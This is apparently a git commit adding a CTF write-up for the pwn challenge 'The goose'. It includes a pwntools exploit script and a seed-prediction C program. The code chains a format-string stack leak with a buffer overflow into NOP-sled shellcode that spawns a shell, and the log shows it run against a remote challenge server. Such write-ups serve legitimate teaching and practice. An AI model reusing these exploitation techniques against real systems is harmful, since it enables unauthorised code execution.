Adds l3ak ctf 2025

This commit is contained in:
2025-07-14 09:27:19 +02:00
parent 863fdff225
commit 7df580044e
8 changed files with 403 additions and 0 deletions

Binary file not shown.

View File

@@ -0,0 +1,62 @@
#!/usr/bin/python3
from pwn import *
import subprocess
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
exe = local_exe
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.SSH:
exe = remote_exe
s=ssh(host='HOST',user='LOGIN',password='PASSWORD',port=0000)
return s.process([exe] + argv)
else: # Run locally
exe = local_exe
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
break *highscore+276
'''.format(**locals())
# USE ./filename otherwise gdb will not work
local_exe = './chall'
remote_exe = 'REMOTE'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(local_exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
#context.log_level = 'debug'
context.log_level = 'info'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
number = subprocess.run(["./predict"], capture_output=True).stdout
io.sendlineafter(b"> ", b"GOD")
io.sendlineafter(b'so GOD. how many honks?', number)
io.sendlineafter(b"what's your name again?", b'%p')
stack = int(io.recv().decode().split()[1], 16)
stack -= 0x126 # Offset to our buffer
# Space before return pointer 376
sh = asm(shellcraft.amd64.linux.sh())
payload = flat(
asm('nop')*100,
sh,
b'A'*(376-100-len(sh)),
pack(stack)
)
io.sendline(payload)
io.interactive()

View File

@@ -0,0 +1,168 @@
+++
date = '2025-07-14T09:16:28+02:00'
draft = false
title = 'The goose'
tags = [ "pwn" ]
+++
description: When the honking gets tough, you better brush up on your basics.
Author: dsp
For this challenge we are given the binary and the Dockerfile
```
>>> pwn checksec --file=chall <<<
[*] 'l3ak_ctf/pwn/the_goose/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No
```
No stack canary and executable stack we can already guess this will involve a shellcode.
## Exploration
```
>>> the_goose ./chall
Welcome to the goose game.
Here you have to guess a-priori, how many HONKS you will receive from a very angry goose.
Godspeed.
How shall we call you?
> GOD
so GOD. how many honks?10
HONK ... HONK
tough luck. THE GOOSE WINS! GET THE HONK OUT!
```
So it seems like we have to guess the number of HONKs from the goose.
Let's fire up ghidra and look at what we facing.
```C
int main(void)
{
int iVar1;
time_t tVar2;
setvbuf(stdout,(char *)0x0,2,0);
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
setuser();
iVar1 = rand();
nhonks = iVar1 % 0x5b + 10;
iVar1 = guess();
if (iVar1 == 0) {
puts("tough luck. THE GOOSE WINS! GET THE HONK OUT!");
}
else {
highscore();
}
return 0;
}
```
The number of honks are generated by `rand()` which is seeded with the current time.
If we correctly guess the number of honks we go inside of the highscore function.
```C
void highscore(void)
{
undefined message_buffer [128];
char buffer_random [31];
undefined local_d9;
undefined name_buffer [32];
char success_message [74];
/* The message is written one char at a time I placed everything on the same line to make it readable */
success_message = "wow %s you\'re so go what message would you like to leave to the world?"
success_message[0x49] = '\0';
printf("what\'s your name again?");
scanf("%31s",name_buffer);
local_d9 = 0;
sprintf(buffer_random,success_message,name_buffer);
printf(buffer_random);
read(0,message_buffer,0x400);
printf("got it. bye now.");
return;
}
```
The highscore function has a really obvious buffer overflow on the call to `read` that would allow us to inject shellcode and jump to it.
So there are two steps to this challenge :
1. Guessing the number of honks
2. Exploiting the `highscore` function to get a shell
## Guessing the number of honks
The random number generator is initialised using `srand(time(NULL))` which makes the seed the second of the call to `srand`.
We also know how the number of honks is calculated (`nhonks = iVar1 % 0x5b + 10;`).
From there we can easily compute the number with a small C program
```C
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
int main(void)
{
srand(time(NULL));
printf("%d", (rand() % 0x5b + 10));
return 0;
}
```
After compiling we can call it from a pwntools script and correctly guess the number of honks (if you are on a slow link you can add 1 or 2 to the `srand` time).
```python
number = subprocess.run(["./predict"], capture_output=True).stdout
io.sendlineafter(b"> ", b"GOD")
io.sendlineafter(b'so GOD. how many honks?', number)
```
## Exploiting the highscore function
Using the buffer overflow on the `read` call we can easily place a shellcode on the stack (there is no NX).
The only problem is finding the address of something on the stack to be able to jump to our shellcode.
This can be done using the format string vulnerability when we are asked for our name again. Giving `%p` as the name we are able to leak a pointer to the stack.
The last step is to calculate the offsets and finish writing the exploit scrip
## Putting it all together
```python
io = start()
number = subprocess.run(["./predict"], capture_output=True).stdout
io.sendlineafter(b"> ", b"GOD")
io.sendlineafter(b'so GOD. how many honks?', number)
io.sendlineafter(b"what's your name again?", b'%p')
stack = int(io.recv().decode().split()[1], 16)
stack -= 0x126 # Offset to our buffer
# Space before return pointer 376
sh = asm(shellcraft.amd64.linux.sh())
payload = flat(
asm('nop')*100,
sh,
b'A'*(376-100-len(sh)),
pack(stack)
)
io.sendline(payload)
io.interactive()
```
We run it and there we go
```
>>> ./exploit.py REMOTE 34.45.81.67 16004 <<<
[+] Opening connection to 34.45.81.67 on port 16004: Done
[*] Switching to interactive mode
got it. bye now.$ cat /flag.txt
L3AK{H0nk_m3_t0_th3_3nd_0f_l0v3}
[*] Interrupted
[*] Closed connection to 34.45.81.67 port 16004
```

View File

@@ -0,0 +1,10 @@
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
int main(void)
{
srand(time(NULL) + 1);
printf("%d", (rand() % 0x5b + 10));
return 0;
}